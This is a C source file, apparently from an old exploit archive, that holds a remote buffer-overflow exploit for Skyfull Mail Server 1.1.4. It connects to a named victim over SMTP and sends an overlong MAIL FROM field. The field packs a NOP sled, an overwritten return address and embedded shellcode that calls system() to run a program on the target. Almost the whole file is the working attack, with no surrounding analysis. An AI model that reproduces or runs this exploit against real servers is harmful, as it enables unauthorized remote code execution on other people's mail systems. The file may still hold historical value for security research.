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skyfull.c
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Wrap
C/C++ Source or Header
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2005-02-12
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3KB
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119 lines
/*=============================================================================
Skyfull Mail Server Version 1.1.4 Exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#define MAXBUF 3000
#define RETADR 655
#define JMPADR 651
#define SMTP_PORT 25
#define JMPEAX_ADR 0xbfe0a035
unsigned char exploit_code[200]={
0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
0xFF,0x00
};
unsigned char cmdbuf[200]="msvcrt.dll.system.welcome.exe";
main(int argc,char *argv[])
{
SOCKET sock;
SOCKADDR_IN addr;
WSADATA wsa;
WORD wVersionRequested;
unsigned int ip,p1,p2;
static unsigned char buf[MAXBUF],packetbuf[MAXBUF+1000];
struct hostent *hs;
if (argc<2){
printf("usage: %s VictimHost\n",argv[0]); return -1;
}
wVersionRequested = MAKEWORD( 2, 0 );
if (WSAStartup(wVersionRequested , &wsa)!=0){
printf("Winsock Initialization failed.\n"); return -1;
}
if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not create socket.\n"); return -1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons((u_short)SMTP_PORT);
if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n"); return -1;
}
addr.sin_family = hs->h_addrtype;
memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
printf("Can not connect to specified host.\n"); return -1;
}
recv(sock,packetbuf,MAXBUF,0);
printf("BANNER FROM \"%s\" : %s\n",argv[1],packetbuf);
memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
ip=JMPEAX_ADR;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
buf[JMPADR ]=0xeb;
buf[JMPADR+1]=0x80;
strcat(exploit_code,cmdbuf);
p1=(unsigned int)LoadLibrary;
p2=(unsigned int)GetProcAddress;
exploit_code[0x0d]=p1&0xff;
exploit_code[0x0e]=(p1>>8)&0xff;
exploit_code[0x0f]=(p1>>16)&0xff;
exploit_code[0x10]=(p1>>24)&0xff;
exploit_code[0x1e]=p2&0xff;
exploit_code[0x1f]=(p2>>8)&0xff;
exploit_code[0x20]=(p2>>16)&0xff;
exploit_code[0x21]=(p2>>24)&0xff;
memcpy(buf+JMPADR-strlen(exploit_code)-1,exploit_code,strlen(exploit_code));
sprintf(packetbuf,"HELO UNYUN\n");
send(sock,packetbuf,strlen(packetbuf),0);
recv(sock,packetbuf,MAXBUF,0);
printf("HELO: Reply from \"%s\" : %s\n",argv[1],packetbuf);
sprintf(packetbuf,"MAIL FROM: UNYUN <%s@shadowpenguin.net>\r\n",buf);
send(sock,packetbuf,strlen(packetbuf),0);
closesocket(sock);
printf("Done.\n");
return FALSE;
}